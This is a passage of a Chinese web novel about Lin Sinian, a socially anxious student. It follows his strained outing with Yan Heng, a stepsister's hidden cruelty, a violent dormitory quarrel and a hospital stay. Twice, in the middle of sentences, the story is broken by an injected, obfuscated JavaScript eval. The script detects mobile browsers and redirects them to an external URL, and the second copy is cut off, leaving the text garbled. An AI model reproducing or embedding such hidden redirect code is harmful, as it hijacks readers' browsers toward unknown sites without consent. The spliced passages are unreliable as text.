言珩笑着轻轻拍了拍他的脑袋:“不过不是一次性结清的。偶尔去视察,我们觉得他们没有进度,他们觉得我们吹毛求疵。甲乙双方看来,估计都挺头疼的。” 林斯年问:“那你什么时候忙完?” 言珩心里觉得林斯年这话有点天真,什么时候忙完并不是他可以决定的,有的时候,他心里都快要急死了,面上还得端着。尤其他刚上任,迫切地需要做出更多成果站稳脚跟。 时间,他现在最缺的就是时间,不管是事业上还是在有关林斯年的事情上。一面对林斯年,他心里的那些阴暗想法就呲溜往外冒,但还是得忍耐着,因为他知道他太唐突,会吓坏林斯年,偏生对方不清楚他背地里有多坏,一个劲地往上凑,天真,皎洁,却充满诱惑。 不过他当然不会对林斯年这么说,他没回答这个问题,换了个话题:“如果你通过了极溯的招聘,你想来S市吗?” “可以吗?”林斯年问。 “可以。”言珩说,“S市这边最近很缺人手,本来就计划今年从Z市这边借调一些人,借走的话,什么时候还就不确定了。” 林斯年听出言珩的潜台词:“S市的工资会更高一点吗?” 言珩毫不犹豫回答:“会。” 两人步行去缆车上车点,途中路过一棵挂满红绸的树,周围都是售卖红绸的小摊贩,有不少游客在树旁祈愿、打卡拍照。 小情侣在红绸上写满愿望,同时站在树下闭眼许愿,然后笑着对视,将红绸挂在枝头;大高个的男人将小孩骑大马举高,小孩用稚嫩的双手把红绸系在树枝上…… 绿色的,红色的,迎风荡漾成一片海。 言珩走到其中一个小摊上,拿起两条红绸,问了老板娘价格,然后扫码转账。 林斯年靠了过去,避开老板娘的视线,将一半身体躲在言珩身后,他摸了摸口罩,问:“你也要挂这个吗?” 言珩已经俯身在上面写字了:“嗯。” 林斯年也拿起油性笔,却不知道写什么,期间看了言珩好几眼,对方把字迹掩得密不透风,他什么都看不到。过了好一会儿,他才终于动笔。 第一行:光华内敛,世无其二。 第二行:岁岁无虞,昭昭如愿。 很明显,第一行的八个字是在形容某个人,第二行的八个字则是在祝福,只是祝福的是第一行所描述的那个人,还是林斯年本人,可能只有林斯年自己清楚了。 他并不掩饰,反而在言珩看过来时,主动展示给对方看。林斯年觑着言珩的表情,想到了什么,微微翘起嘴角,又努力压下来。 缓了一下心跳,他问:“怎么样?” 试探着、满怀期望地、一字一句地问。 不成想,言珩看到上面的字后,脸色刷地一下变了,林斯年很难形容那是什么表情,只觉得他好像从来没有在言珩身上见过这样的表情,像是没有比这个更恨的了。 言珩垂着眼,声音平直:“不怎么样。” 林斯年手一抖,红绸落在了地上。 言珩蹲下身把它捡起来,重新放回到林斯年的手里,几秒钟的时间,他已经整理好了表情。 林斯年低声呢喃:“谢谢。” 言珩拉平唇线:“不客气。” 而后两人去枝头挂红绸。刚刚缓和的关系就像是一盆放在火炉上的水,将将变得不冻手,甚至还没变温、变热、变烫、沸腾,就又被丢回冰天雪地,变冷凝结,整个碎裂。 林斯年察觉到言珩的愤怒,从言珩说出不怎么样后,他就没说话了,低着头默默做自己的事情,他做得很慢。 言珩的胸口像是破了个大洞,飓风呼啸,再也填不满。他喉间涩痛,不敢出声,狠狠咬着舌尖,等到有混杂着铁锈味的腥甜充满口腔,他才回过神。 他到底在做什么…… 言珩余光看向林斯年,胸口又是一痛,他在心里对自己说: 在高中的时候你不已经深刻知道了吗,林斯年对你从来都是怜悯,可怜你父不疼娘不爱。连饭都吃不饱的人,怎么敢奢望别人的爱。哪怕你现在坐到了这个位置上,你所承的也不过是外公的安排,你连学位都是花钱买的,每当林斯年侃侃而谈自己的专业,你不自卑吗? 更何况,你难道还不够清楚吗,林斯年喜欢的从来都不是你。他喜欢的,从来都是那个在他眼里风光霁月不惹尘埃的季铭川。 可是…… 哪怕他跟季铭川真的有什么,你那么努力让外公同意你回国,你当时下定决心的,难道不是拼尽全力硬抢吗?更何况现在一切都来得及,难道你真忍心将他推给那个败絮其里的人吗? 你要耐心耐心再耐心,不要吓到他。 终于有一天……终于有一天……即使只是在他身边陪着他,对于你来说也算得尝所愿了吧。 言珩闭上眼睛,很快又睁开。 就算是违心的又怎样。言珩吐出一口气,看着林斯年说:“对不起,我刚刚吓到你了吧。” 林斯年眨了一下眼睛,看向言珩。 言珩又说:“我刚刚说的话,对不起,我语气太重了,我不是那个意思,我只是,只是……” 他说不出来话。 林斯年露出一个浅笑:“我知道。” 两人将红绸挂好,没走几步就到了上车点,这会儿排队的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374874|200045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人不多,很快乘坐缆车下山。旅程的最后几个小时,却再没有前几天的轻松。 写满字迹的红绸被风扬起,那条不曾被林斯年看清楚字迹的红绸,被其主人用力系了很多个结,紧紧绑在粗壮的树枝上—— 请赐予我很多很多的时间,或者让时间在我身边再慢一点、更慢一点。 如果可以的话,让我成长得足够枝繁叶茂,让他留在我的阴荫之下,即便不是心甘情愿,却也再无风霜。 一直坐到车后座上,气氛都很凝滞。 林斯年低垂着头,一路上都在用食指指腹摩擦大拇指的指甲,这是他的刻板行为,每当遇到解决不了的问题,他就会一直想,直到彻底想通为止,在此期间,他会一直触碰指甲上不平的地方。 言珩叹了口气,再一次向他道歉:“对不起,我最近压力太大了,是我没有耐心……” 林斯年不回话,隔了几分钟,他才用很小的声音说:“言珩,我明白了。” “对不起。”言珩又说一次。 “言珩,你知道在数学上,形容有一种分布叫泊松分布吗?” “我听说过。”言珩说。 林斯年望向窗外:“在我的专业里,原子核的衰变就是一种泊松过程。可能不太恰当,但大致是这样的,一些大量随机小概率事件,当你去测量随时间发生事件的总数时,会发现,它的样本轨道是一条从零开始、单调不减、每次跳跃一个单位的阶梯函数。” “我这样说,你可能很难理解,我用一个更通俗易懂的模型来解释。” “假设你是一个店主,你知道单位时间内顾客的平均到达率,那么从现在开始,你来计数,假设等待了t1时间后,第一个顾客进来,在t1时刻,你记录到的数字从0跳跃到了1,同理,你继续等待,直到等待到第二个顾客,你所记录的数字又从1跳跃到了2,如此你记录到了一条顾客总数随时间的增长曲线。” 林斯年解释得很清楚,言珩点了点头,事实上他在新加坡的时候,系统学过泊松博弈,两者是同样的道理。 “在上这节课的时候,我的老师跟我们说,泊松过程样本轨道的两个核心——Processes and Jump,用中文来讲,指的是等待和跃升,事实上人的一生就是这样的,大部分的时间,你在等待,你的状态不会发生任何变化,又因为跃升的随机性,等待时间是长或是短,都不是随人为意志可以变化的,你不知道下一次跃升具体何时到来,你能做到的,只有等待。” “而决定你人生的,是每一次跃升吗,我不觉得是这样的,我想,正如老师说的那样,决定你人生的是,你如何看待等待。” “所以,言珩,我想说的是……”林斯年将目光从窗外挪到言珩脸上,“你现在还很年轻,虽然我没有经历过,但我能猜到,你坐在这个位置上,一定付出了很多努力,也想尽快做出成果,但是,等待一定且必须是必要的。” 言珩愣神,看着林斯年娓娓道来。 “这节课很大程度上缓解了我的焦虑,因为我终于发现,我社交焦虑障碍的来源,并不是我在焦虑见到陌生人,而是在焦虑等待。” “如果一个pre的任务在一周前发布,那么在这一周内我都会感到焦虑,如果是当场发布,我只会在有限的时间内思考,我怎么样才能做得更好。” “很多时候,我无法接受等待的不确定,正如你现在无法耐心去做自己的工作,尽管知道这个工作一定会在未来的某天结束得很漂亮,是这样吗?” 林斯年蹙眉看着言珩,在山上,当言珩表现得越来越焦躁的时候,他就在想这个了,他觉得自己需要安慰一下这个年轻的总裁。 言珩愣了愣,胸膛里的心脏正在为眼前用担忧神色看着自己的人狂跳,他说:“是。” 在林斯年看来,他无法等待的,也许只是他工作上的事情。事实上,他更加无法等待的,是他还没有足够的能力,不能理直气壮地说出,我要把你留在我身边,而无一人置喙。 终有一天,他会成长到,为林斯年走到他身边的路扫除所有障碍,到那时,林斯年只需要点头,不需要有任何顾虑。 他知道会有那么一天。 14. CH.14 和言珩吃完午饭后,林斯年松了口气,总算完成了导师给的任务。从周四晚上到周日中午,一共不到三天的时间,虽然是个轻松活,但大部分时间都在户外,还是让他精神疲惫。 林斯年在微信上给程导回话,顺便把自己改好的论文初稿发过去。 程导回了好的就没回了,估计在忙。 从烤肉店出来,言珩本来要让司机送林斯年先回学校,但是这地方离林斯年家不远,走路五分钟就到了,林斯年拒绝了言珩的好意,说他自己走路回家。 “那你回去跟我说一声。”言珩说。 “好。”林斯年点头。 用钥匙打开家门,林斯年换拖鞋的时候,在玄关听了半天动静,好像没人,他穿着拖鞋小心翼翼在客厅走了一圈,确定没人后,隐隐松了口气。 昨晚只睡了三个小时,这会儿松懈下来,疲惫感来势汹汹。 林斯年在客厅接了杯水,回房间换了睡衣,咕嘟咕嘟把水杯里的水全喝完,躺到床上,刚躺下盖好被子就安稳睡着了。 这一觉睡了很久,他再醒来时,听到厨房里炒菜的声音。 林斯年拿起手机看了一眼,六点了。有一条未读信息,是言珩中午发来的,问他是否安全到家。回完消息,他从床上坐起来,推开房门走出去。 陆安书正坐在沙发上喝茶,看到他出来,点头打了个招呼,笑着说:“年年醒了?” 林斯年也点头回应:“陆叔叔。” 林婉清和陆绾绾正在厨房忙碌,林斯年抱着水杯走过去,林婉清炒菜,陆绾绾切菜,两人配合得相当默契。 事实上,林斯年和陆绾绾都考到了Z大,他们搬到Z市后,陆绾绾一直在家里住,不上课的时候,兴致来了,也会虚心向林婉清学习做饭。 林斯年凑到林婉清身边:“妈,有需要我帮忙的吗?” 林婉清笑着把他推开:“没有,你去沙发上和你陆叔叔一起等着,我俩很快就把饭做好了,今天做了面条。” 林斯年愣了愣:“好。” 旁边的陆绾绾把蒜切成末,见林斯年没动,突然把沾满辛辣味道的手指伸到他面前。 刺激的味道窜入鼻孔,林斯年鼻子有点痒,他上手揉了揉。 陆绾绾一幅做坏事得逞的样子:“听话,去沙发上坐着去吧,我跟妈两人就可以了,你个男生来做饭多不合适。” 这话一说,林婉清不乐意了,她佯装生气,皱着眉要抢陆绾绾手里的菜刀:“怎么,女生难道就天生是做饭的吗?绾绾,你和弟弟一块坐着去,妈妈一个人就能做好。” 陆绾绾用脸颊贴着林婉清的胳膊:“难道妈妈你就天生该做饭吗?” 林婉清笑着拍她额头:“妈妈是喜欢做饭,你们吃到我做的饭,我一看就开心。” 陆绾绾嘿嘿笑了两下:“那我今晚一个人要吃两碗面条!” 林婉清把炒好的菜倒进碟子:“我们绾绾,想吃多少就吃多少。” 林斯年还抱着水杯站在厨房门口。陆绾绾洗了一下手,拉着他的胳膊,一路把他推到沙发上,又把茶几上的袋子拿到厨房,把里面的水果洗好,装进盘子里,放回茶几。 她笑眯眯地说:“爸,弟弟,你们吃水果,冰箱里还有一个榴莲呢,等吃完饭,肚子还有空,我们就把那个榴莲开了,这可是我用自己的钱买的。” 陆安书从善如流拿起一个桃子:“好。” 陆绾绾看着没有动作的林斯年,把洗好的分装蓝莓放到他手心:“我专门给你买的蓝莓,这个蓝莓一点都不酸,很甜。哇,就是感觉被坑了,这么一小盒居然要我四十九块九。” 如果不是林斯年有陆绾绾给他微信上一直发消息的记忆,他看着眼前这个笑起来纯真善良的继姐,会真的以为他们是关系不错的姐弟。 林斯年看了一眼厨房里忙碌的身影,在陆绾绾鼓励的目光下,从盒子里捻起一颗蓝莓送进嘴里。确实如对方所说,很甜,甜得发腻,甜得都不像蓝莓了。 陆绾绾笑着问:“怎么样,好吃吗?” 林斯年垂眸,看着手心里的盒子,半响,他低声说:“很甜。” “甜就好。”陆绾绾揉了揉他的脑袋,又小跑到林婉清身边,开玩笑地说,“妈妈,弟弟真是中基因彩票了,继承了你的长相,要不是性格有点内向,长这么好看,该把他送去当明星。” 林婉清两手端着盘子,把菜放到餐桌上,抽空回陆绾绾的话:“年年是好看,不过我还是不愿意他当明星的,当明星都没隐私了。” 把菜都摆好后,林婉清看着这一对相处融洽的重组姐弟,心里有些宽慰。 和陆安书结婚之前,得知对方有一个女儿,她曾经担心过一段时间,后面相处下来才发现她的担心完全多余了,陆绾绾情商很高,对林斯年这个社恐的弟弟也是能让则让。 尤其她打心里喜欢女孩,和陆绾绾这五年相处下来,她们的感情比一些亲生母女都要浓厚。 林婉清做饭很好吃,在去垂城之前,她一直在Z市一家富人别墅里当值,做饭的手艺得过主人家好几次夸奖,为此还得了不少红包。 不过后来,那家人突发变故,林婉清和林斯年的生父也闹得不可开交,就辞职了。 饭桌上,林斯年只吃了半碗面条,林婉清给他夹了一筷子肉,担忧地问:“年年,胃口不好吗?” “我中午吃很多,这会儿不是很饿。”林斯年把母亲给他夹的肉塞进嘴里。 “这样啊。”林婉清被提醒到了一样,想起来林斯年这两天都跟极溯总裁在一块,她还没跟家里人提起过这件事,不过也不打算这时候说。 默了片刻,林斯年说:“妈,在学校这最后半个学期,我没有课,论文初稿也写好了,只等老师给我发批改意见了,我能回家住吗?” 在这话问出口之前,林斯年就知道了林婉清大概率不会同意,不过当林婉清真的把拒绝的话轻易说出口后,他还是有些难过。 “年年,你不能总这样的,妈妈知道你社交焦虑障碍很严重,但是身而为人,你不能被恐惧打败不是吗?在学校待着不好吗,有同学可以聊天,有老师给你讲知识,不比在家里好吗?” “我只是……”林斯年话没说完。 “偶尔回家里住一晚上可以,但是不能一直住在家里,你总得进入社会吧,你不能仗着有这个病就心安理得地不跟人接触。” 眼看林婉清要生气,陆绾绾连忙放下筷子,抓着她的胳膊:“妈,你就是关心则乱,我看弟弟根本没什么毛病,现在大家都这样,弟弟只不过性格更i了一点,他想回家住,你就让他回家住嘛。” 林婉清坚决摇头:“不行。” “妈,你这脾气,唉。”陆绾绾叹了口气,“就算再怎么脱敏,也得有个缓冲过程呀,而且我不都一直在家里住着嘛,不然你把我也赶出去好了。” 不管别人怎么劝,林婉清就是不松口。 林斯年在被林婉清拒绝第一次后,没有再主动开口了。等到大家都吃完饭后,林婉清催促着林斯年去洗碗。 “做饭是我和你姐姐一起做的,洗碗的活儿就交给你了。” 林斯年点头,开始收拾餐桌,旁边坐着的陆绾绾也起身帮忙。 林婉清:“他去洗,绾绾你不用帮忙。” 陆绾绾麻利地把餐碟放进水槽:“没事,我闲着也是闲着。” 林婉清看着她,有些欣慰地笑笑。 林斯年把水龙头拧开一点,细细的水流冲刷着手心里的盘子,他做事一向认真,洗碗也是。陆绾绾在他旁边,用抹布擦做饭时溅到墙砖上的油污。 客厅里电视机声音响起的时候,陆绾绾凑到林斯年耳边,笑着说:“我的好弟弟,还记得吗?我说过的,我会一样、一样、一样地,把你身边的东西都夺走。” “——包括你的母亲。” 她一字一句说得很清晰。 “你好好洗碗吧,弟弟,洗干净点。”她把脏抹布扔进水池,拧大水龙头,涮了涮手后,信步往客厅走去。 在她身后,林斯年叹了口气,默默把水龙头关小一点,继续洗碗了。 其实,他想对陆绾绾说:你已经成功了。 他很小的时候,被确诊了轻微的自闭症,不会说话,只知道每天在他面前晃的女人叫妈妈,他们曾经脐带相连,是世界上最亲密无间的人。 他不说话也没关系,林婉清自然会从平时的蛛丝马迹中推断出,比起大米饭,他显然更不喜欢吃需要费力嚼的面条。不是不能吃,只是更不喜欢吃,然后林婉清就很少做面条了。 家里对面条极其喜爱,恨不得每顿饭都吃面条的人,从始至终,只有陆绾绾一个。 也许是察觉到了林斯年低落的情绪,晚上睡觉之前,林婉清来他房间跟他谈了会儿心。 “年年,妈妈也是为你好。” “我知道。” “你根本不知道妈妈有多爱你,要是今天有一个机会,能用我的命换你变得正常,妈妈毫不犹豫地就点头同意了。” “别这么说,妈。” “唉。” 林婉清叹着气,也是不知道该怎么面对自己的亲生孩子了。林斯年抱住她的肩膀,这才发现,在他不知道的时候,林婉清已经开始长白头发了。 “妈妈,你现在觉得幸福吗?”他问。 “幸福。”林婉清回答得毫不犹豫。 “幸福就好。”林斯年说。 第二天,林斯年正常回了学校。他在床上躺了好几天,除了必要的吃饭洗澡上厕所,几乎没有从床帘里面出来过。 程导给他发了论文的修改意见,但是在周围同学还在赶实验的进度衬托下,进入收尾阶段的林斯年直接把这项任务搁置了。 室友也知道他不爱跟人交流,每天吃饭的时候看他一眼,问他两句,确保他在宿舍且还活着,当他在床帘里面躺着的时候,从来不会主动跟他说话。 白天,除了午休时间,宿舍里没人,林斯年一个人待着,不管做什么,都让他由衷觉得放松。到了晚上,三个室友陆陆续续回来,桌椅板凳碰撞,吸溜吃个夜宵,放松打会儿游戏,发出的声音会让他短暂觉得不舒服。 等半夜,大家都睡了,林斯年才会在极度的精神疲倦中闭上眼睛。 就这样浑浑噩噩重复了六天。 在这周的周五晚上,室友跟相恋七年的女朋友分手了,强撑面子,和朋友约了打电脑游戏,游戏一打就到了晚上两点。 “我靠!他妈的这什么强度啊,不是老庆你这号也太黑了吧,怎么每一队都是刘涛aw?” “我刚刚那一波帅不帅?一穿六,让他们起这么好的装备来猛攻。老弟还得练,去交易行找你的枪配件去吧。” …… 另外两个室友发出了浓重的叹气声,打游戏的室友戴着耳机,什么都听不到。 和大多数有心理疾病的患者一样,林斯年也听不得分贝很大的噪声,尤其在晚上,这种他潜意识里觉得应该是安静的时候。 快到三点的时候,林斯年鼓起勇气,在微信上跟他说了一声,太晚了,该睡觉了。 明明是很正常的一句话,不知道怎么就触到了他的霉头。 徐翼天刚把一局游戏打完,本来得吃七百万背着大红包要撤离,在撤离点被老六蹲了一手,撤离失败的红色字迹出现在屏幕上时,他拿起手机看了眼微信消息。 林斯年听到,有什么东西狠狠摔在地上。 而后是徐翼天过来摇他的床,把栏杆拍得阵阵作响,声音大得毫不掩饰:“林斯年,你下来,你面对面亲口跟我说一下,你这话什么意思?” 他话里的怒气值太高了,怕惹出麻烦,两个室友都不装睡了,立马下床开始劝解。 “哎,徐翼天你啥意思,别开玩笑了,他妈的快睡吧,我们老师周六不给放假,明天还要早起做实验呢。” “我什么意思?呵。”徐翼天继续晃林斯年的床,“你给老子下来,别他妈每天在床上当缩头乌龟,老子是天天打游戏了,还是怎么的?老子就他妈今天心情不好,跟朋友约了打游戏。可是你呢?知道你有心理疾病,我们每个人都得照顾你心情,生怕惹得你一点不痛快,天天装得跟孙子似的。” “别说了,天哥。” “我就要说,我他妈今天就要说个痛快。”徐翼天扯着林斯年的床帘,把整个架子都扯散架了,“凭什么我们得照顾你,你不能反过来体谅一下我呢,就凭你心里不健康?老子还他妈说自己是抑郁症呢,社交焦虑障碍,老子就不信了,他妈的你跟人说句话,能把你吓死吗?” “天哥,大家都室友,别说这气话。” “林斯年,你给我滚下来!” 床板被摇晃,林斯年手掌摸上额头,分不清现实还是幻想,好像都在天旋地转。他从枕头下摸了个什么东西,踩着楼梯下了床。 没想到他真敢下来,徐翼天嗤笑一声,拽着他的睡衣衣领,把手机屏幕怼到他面前: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他大步走到林斯年的座位旁,从书架上取下一本书,从里面掏出一张照片,是一张偷拍到的男生的照片。 照片中,男生正在用肩膀扛货箱,天气很热,他身上全是汗,上身没穿,下身只穿了一件短裤。高且瘦,一层薄薄的精壮肌肉包裹,肩胛骨凸出。 徐翼天把照片从中间撕裂,扔到地上,又踩了两脚,神色凶狠:“恶心,真恶心,真恶心!林斯年!你他妈!真!让我觉得!恶心!” 他一连说了好几个恶心。 “啪——” 徐翼天愣住了。 不光是他,周围几个人也愣住了,他们没想到平时连话都很少说的林斯年,居然敢主动扇别人一个巴掌。 林斯年手指微微颤抖,他深吸一口气,在众人更加震惊的目光中,又是一巴掌扇到徐翼天的脸上,这一次用的力气更大,声音更响亮。 “觉得恶心是吗?”林斯年笑着说。 说完,他走到徐翼天的桌子旁,把那台还停留在游戏界面的电脑摔到地上,碎片在地上炸裂,他眼睛都没眨一下。 满室混乱中,林斯年勾唇:“爽吗?” “因为家里穷,不让拿到录取通知书的妹妹继续上学,而是给你买了一台电脑,当时觉得有了电脑就能赶上人了是吧,爽翻天了是吧,现在呢?” “还爽吗?”林斯年说,“傻逼。” 说完,他把地上撕成两半的照片捡起来,叠在一起,撕得更碎了,拼都拼不起来,然后把手心里的碎片扔进垃圾桶。 也不管别人怎么想了,林斯年拿起手机,摘下挂在床头的风衣,推开门向外走去。 陈渡追在他身后,一直追到宿舍大门。 林斯年疲惫地揉了揉太阳穴:“不用管我了,我出去找个酒店住,你回去吧。” 明早还要赶实验,陈渡左右为难,还是觉得人更重要一点,把林斯年送到酒店,他才能安心。 林斯年摇了摇头,坚持不用陈渡送,自己扭头出了宿舍大门。 站到校园里,被冷风一吹,林斯年低头看了看自己的打扮,长袖长裤睡衣,拖鞋,外面罩着一件到小腿的大衣。 忘记了有没有拿身份证,又回想起林婉清拒绝自己在家住时的毫不犹豫,真奇怪,林斯年突然觉得很痛快。 他在花坛边静静坐了片刻,手机锁屏界面显示已经四点多,将近五点了,正是一天中最暗的时刻。 ……还能去哪里呢? 林斯年把手机解锁了,在通讯录里翻找,忘记什么时候里面存了言珩的电话。 这个点,对于言珩来说,应该设置免打扰,睡了吧。林斯年不抱希望地拨出去。 嘟……嘟…… 听筒里,是言珩的声音:“林斯年,这么晚给我打电话,是遇到什么困难了吗。” “……”好累,不想说话。 “你现在在哪里,在家还是在学校?”有窸窸窣窣的声音,似乎是布料摩擦发出的响动,“你在原地别动,我去找你。” “……”好累,还是不想说话。 林斯年把手机从耳边挪开,放在腿上,静静看着屏幕,他在心里默数了六十个数,电话没挂断,他又默数了六十个数,电话还没挂断…… 在数了不知道第几次之后,电话挂断了。 手机震动了一下。 顶上弹窗,是言珩的消息。 言珩:回头。 言珩:我在北门门口。 林斯年从花坛边上起身,看向北门,花坛距离北门挺远的,也不知道言珩怎么就看到他了。明明在他视角里,对方只是一颗小小的黑点。 脚冻麻了,林斯年慢吞吞地往过挪。 Z大的门禁,从里面出去,不需要刷卡,但是从外面进来需要刷卡或者刷脸。 言珩站在门外,等他一出去,就把自己身上的衣服脱了,披在他身上,皱着眉。 “怎么穿这么少出来了,我猜你应该没在家,要是在家的话,怎么也不会无助到给我打电话。一接到你电话,我就往学校走了。可以告诉我,发生什么事情了吗?” 在花坛边吹了一会冷风,林斯年的皮肤已经察觉不到温度了,带着言珩体温的衣服盖在他身上,只觉得刺痛。 他静静看着言珩,眼前一黑。 意识消失的最后一秒,是言珩神色慌张,在晨光破晓时,伸手把他接住了。 15. CH.15 林斯年再醒来的时候是在医院里,这是一个干净明亮的私人病房。他抬起手,手背上扎着针头,小腿上传来刺痛的感觉。 旁边的言珩手里抱着电脑:“醒了?” 见林斯年想坐起来,言珩把电脑放到桌子上,把枕头立起来垫在他的身后。 他看到自己小腿上缠了两圈绷带。 言珩把水杯放到他的右手上,在床头的电子平板上喊了医生过来:“还好吗?” “嗯。”林斯年舔了舔干燥的嘴唇,把一杯水一口气喝完了。 很快,医生敲门进来,粗略检查了一下林斯年的身体,朝着言珩点了点头:“目前检查没发现有心源性或者脑源性的器质性问题,只是良性晕厥,不用太担心。” 说完,医生又看向林斯年:“可能只是情绪太过激动了,又受冷,大脑暂时缺血。之后如果再出现头晕恶心等问题,要立刻平躺或者蹲下,有条件的话抬高双腿。” 林斯年点头:“好,谢谢。” 言珩把空杯子拿走,接了一杯温水,放到床头的柜子上:“这会儿饿不饿?” 林斯年摇头,神色有些疲倦。 言珩摸了摸他的头发,等医生出去后,他坐到旁边的椅子上:“林斯年,发生了什么事,和室友闹矛盾了吗?” 林斯年只是点了点头。 他刚清醒,脑子一片混乱,昨晚和室友爆发矛盾并不是他希望的。要是重来一次,他肯定不会这么冲动了,想起被撕碎的照片、摔碎的电脑和那把他几乎不拿出来的小刀,他有些头疼地闭上了眼睛。 过了半响,林斯年才说:“对不起,昨晚的事情我不知道该找谁了。” “你第一时间想的是找我,我很庆幸。” 林斯年看向言珩,舔了舔唇:“昨晚,我确实和室友闹矛盾了,因为他玩游戏玩到很晚,我在微信上跟他说了一声。” 言珩点头,表示自己知道。 林斯年继续说,声音莫名显得委屈:“他正好心情不太好,就让我从床上下去,我下去了。然后他想打我,别的室友就来拉架。” “腿上的伤是室友搞的吗?”言珩问。 林斯年垂着头,腿上的伤口应该不严重,他昨晚看过了,只是有一些微微渗血的划痕。 “不是。”他说,“那个室友要打我嘛,然后我就想往外面跑,不小心把他的电脑碰到了,电脑屏幕摔碎,腿上的伤口,是溅起来的碎片划伤的。” 他说话的时候,可怜巴巴的。 言珩摸了摸他的脑袋:“我知道了。别担心,今天上午,我让助理去处理过了,赔了他点钱。” 处理过了? 林斯年心脏狠狠跳了一下,看向言珩,那他是否知道他的解释隐去了一些话? 言珩脸上没什么表情,他分析不出来。林斯年试探着问:“赔了多少啊?我把钱转给你。” 言珩没说赔了多少:“不管怎么说,这个事情已经处理过了,不要再想它了,不用转我钱,要是你遇到麻烦来找我,我还要你还钱,我为什么要每天这么辛苦挣钱啊?” 他已经从助理口中得知过发生什么了,但不觉得林斯年隐瞒有什么不好的。 而且比起从别人那里得到的答案,他更希望从林斯年的叙述里揣测对方的情绪。 林斯年愣了愣。 言珩怕他多想,又说:“好歹我们高中也做过一年的同桌,有能帮忙的,我一定会帮忙的。” 林斯年嘴唇嗫嚅:“好。” 就算不是他,而是任何一个和言珩认识的人遇到麻烦了,凭言珩现在的身份,出手帮忙应该也只是一件无足轻重的小事。 他不是那么矫情的人,言珩不让他还钱,他就心安理得地接受了。对于言珩来说,是随手拿出来的三瓜两枣,对于他来说却要攒很久。 言珩是个好人,他一直都知道,就算讨厌他,这种事情上也会不遗余力地帮他。 和高中同学的聚餐约定在当天下午的六点,本来要大家平均筹钱,季铭川却主动提出请客,在本地一个高端的的酒店里。 言珩接过助理递来的袋子,里面是他让助理按照林斯年的尺寸买的衣服,把衣服掏出来,整齐放在病床的床边。 “你的身体可以吗?”言珩问。 “可以。” 林斯年坐在床边,慢条斯理地喝粥,把吊瓶打完之后,他稍微有了点力气,不想在这种小事上麻烦言珩,他点了粥的外卖。又甜又热的粥下肚,他舒服地轻叹了口气。 一个下午,言珩都在病房里陪着他,不过两人没怎么说话。 言珩很忙,林斯年补觉的时候,他就坐在桌子旁办公,眉头高高皱起。他身架太大,坐在病房的小桌子旁戳电脑,有种施展不开的感觉。 五点半,林斯年去卫生间把衣服换了,小腿上的绷带也被他扯掉了。经过了半天,腿上流血的地方已经结了疤,他觉得言珩有点小题大做,估计这几道伤口第二天就看不到了。 六点整,融阁酒店的顶楼,用屏风单独被分割出来的一个空间里,除了言珩和林斯年,在群里接龙要来参加聚餐的几个男生都到了。 他们紧挨着落地窗,可以俯瞰到整个城市最繁华的地方,灯火明亮。身处这样的环境里,很容易有种纸醉金迷的错觉。 大家都是从县城里走出来的,除了季铭川家境不错,其余几个人都没享受过这样的待遇,脸上带着强压下来的兴奋,生怕展露出自己没见过世面。 江野看了眼手机,已经六点整了,他有些抱怨地说:“他俩怎么还不来呀?” 坐在他旁边的季铭川笑着说:“没事,他们应该快到了。” 手机叮咚一声响,季铭川拿起来看了一眼,上面是林斯年发来的消息,应该是怕等急了,专门来说一声的。 看到消息,季铭川露出一个灿烂的笑容,语气十分雀跃:“他们快到了,在楼下了,正好我下去接一下他们,你们先聊。” 一个坐在对面的男生好奇地发问:“话说,他俩高中关系也不怎么样吧,怎么同学聚餐,两人还一块来呢?” 另外几个男生也发出了同样的疑问。 江野撇了撇嘴:“谁知道呢?” 季铭川起身,解释说:“我问过林斯年,两人关系确实不怎么样,不过到底是同学嘛,正好和言珩碰上面了,面子上也得过得去吧。” 事实上,他从来没问过林斯年,不过他确信以及肯定,林斯年和言珩的关系不会很好。 毕竟,看到那样的内心剖白,任谁都不可能再和对方继续相处下去吧。 想起高中时候,林斯年从外地转回来,这个不爱说话的新同学总是戴着口罩,偶然有一次,他看到了对方口罩下的模样。 一瞬间,他心里烧起了熊熊大火。 在高中的时候,林斯年那样依赖他,如果不是父母因为他的性取向对他严加管教,他那个时候就会拿下林斯年。 对于那个时候的他,应该很简单吧。 后来出国,他睡了那么多的年轻男孩,不同肤色的、不同体型的、不同性格的,几乎能尝到的都尝了个遍。 高中时期在父母哥哥阴影下的他,出国后彻底放开自己。 很多人都说他有hypersexuality,他不否认这一点,但是他历经那么多人,再没有一个给了他和林斯年同样的惊艳感。 季铭川克制不住地咬了咬下唇。 五年未见,林斯年没有变得世俗,反而成长为一颗饱满诱人的桃子,只一面,他就又沦陷了。 那天晚上,在会所,他甚至一口气喊了四五个小男孩。但是这并没有让他感觉痛快,反而对于得到林斯年这件事,更加执着了。 见季铭川起身要下楼,江野也站起来:“我跟你一块去接他们吧。” 两人一起走进电梯,季铭川从口袋里掏出一个模样普通的打火机。他把玩了一会儿,出电梯的时候顺手把打火机扔进了垃圾桶里。 江野想起那个打火机,似乎是来参加聚会的其中一个男生的,他一直都知道季铭川有偷窃癖,小心翼翼看了眼对方的神色。 “什么话该说,什么话不该说,江野你应该很清楚吧。”季铭川脚步轻快。 “哥,我知道。”江野吸了口烟,笑了。 两人走到酒店门口,谢绝了门童的招待,在外面边吸烟边聊天,并不顾及外人的存在。 江野颇有些羡慕,低声下气地问:“哥,下周末能借你那辆帕美开开吗?正好我跟我女朋友两周年纪念日,带着她开开眼界。” 